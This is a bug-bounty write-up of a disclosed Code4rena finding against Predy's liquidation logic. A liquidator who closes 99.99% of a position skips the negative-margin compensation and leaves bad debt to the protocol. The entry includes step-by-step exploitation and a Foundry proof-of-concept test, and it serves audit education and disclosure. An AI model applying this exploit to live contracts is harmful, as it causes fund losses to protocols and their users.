# Liquidators can bypass remaining negative margin check and leave the loss to the protocol

Predy liquidation only enforces negative-margin compensation when position fully closed, so liquidators close 99.99% and leave protocol with bad debt.

- Payout: Audit contest
- Severity: high
- Program: Predy
- Found by: nnez
- Disclosed: 2024-07-16
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-05-predy-findings/issues/189
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-predy%3AH-02
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:solidity technique:source-review vuln:business-logic vuln:liquidation

**Target:** PredyPool liquidation logic (LiquidationLogic.sol)
**Root cause:** The negative remaining margin check is nested inside `if (!hasPosition)`, so it only runs when the vault's position is fully closed; a near-full close leaves the position open and skips the liquidator compensation transfer.
**Steps:**
1. Open a long perp position with margin (e.g. amount=500e6, margin=100e6).
2. Move price down sharply and warp time so TWAP makes the vault liquidatable.
3. Call `execLiquidationCall(1, 0.99999e18, settlementParams)` to close 99.99% of the position.
4. Observe `vaultStatus.position.margin < 0` while no `safeTransferFrom` from liquidator occurs, leaving bad debt to the protocol.
**How found:** Code review of LiquidationLogic.sol: noticed the negative-margin compensation is guarded by `if (!hasPosition)`, meaning partial liquidation avoids the check; reasoned that liquidators maximize profit by closing just under 100%.
**Exploitation:** Liquidator closes almost the entire position (99.99%) via execLiquidationCall; because hasPosition remains true, the negative-margin branch is skipped, so the liquidator keeps slippage profit and the protocol absorbs the uncovered loss.
**Insight:** When a safety check is gated on a terminal state (position fully closed), test the boundary just short of that state; partial actions can skip invariants that only run on completion.

## Proof of concept (copied exactly from the original report)

**Foundry test liquidating 99.999% to bypass negative margin check**

```
function testLiquidateSucceedsWithNegativeMarginRemaining() public {
            console2.log("[>] Opening a long perp position, amount=500e6 | margin=100e6");
            IPredyPool.TradeParams memory tradeParams =
                IPredyPool.TradeParams(1, 0, 500 * 1e6, 0, abi.encode(_getTradeAfterParams(100 * 1e6)));
            _tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));

            IPredyPool.VaultStatus memory vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
            console2.log("[>] Vault's value: %s", vaultStatus.vaultValue);
            
            console2.log("[>] Magically make price lower");
            _movePrice(false, 10 * 1e16);
            vm.warp(block.timestamp + 1 minutes);
            console2.log("[>] Magically make price lower again and warp for TWAP");
            _movePrice(false, 5 * 1e16);
            vm.warp(block.timestamp + 29 minutes);

            vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
            console2.log("[>] Vault's value: %s", vaultStatus.vaultValue);
            console2.log("[>] Vault's margin: %s", vaultStatus.position.margin );
            console2.log("[>] Vault's quote position: %s", vaultStatus.position.amountQuote );
            console2.log("[>] Vault's base position: %s", vaultStatus.position.amountBase );

            uint indexPrice = predyPool.getSqrtIndexPrice(1);

            IFillerMarket.SettlementParams memory settlementParams =
                _getDebugSettlementData( indexPrice * 8950/10000 , type(uint).max);

            console2.log("[>] Position is now liquidatable, liquidates almost all position to leave the position open");
            IPredyPool.TradeResult memory tradeResult = _tradeMarket.execLiquidationCall(1, 0.99999e18, settlementParams);
            vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
            console2.log("[>] Vault is liquidated, left with negative margin");
            assertLt(vaultStatus.position.margin, 0);
            console2.log("[>] Vault's margin: %s", vaultStatus.position.margin );
            console2.log("[>] Vault's quote position: %s", vaultStatus.position.amountQuote );
            console2.log("[>] Vault's base position: %s", vaultStatus.position.amountBase );
            console2.log("[>] Position's perpPayoff: %s", tradeResult.payoff.perpPayoff);
        }
```

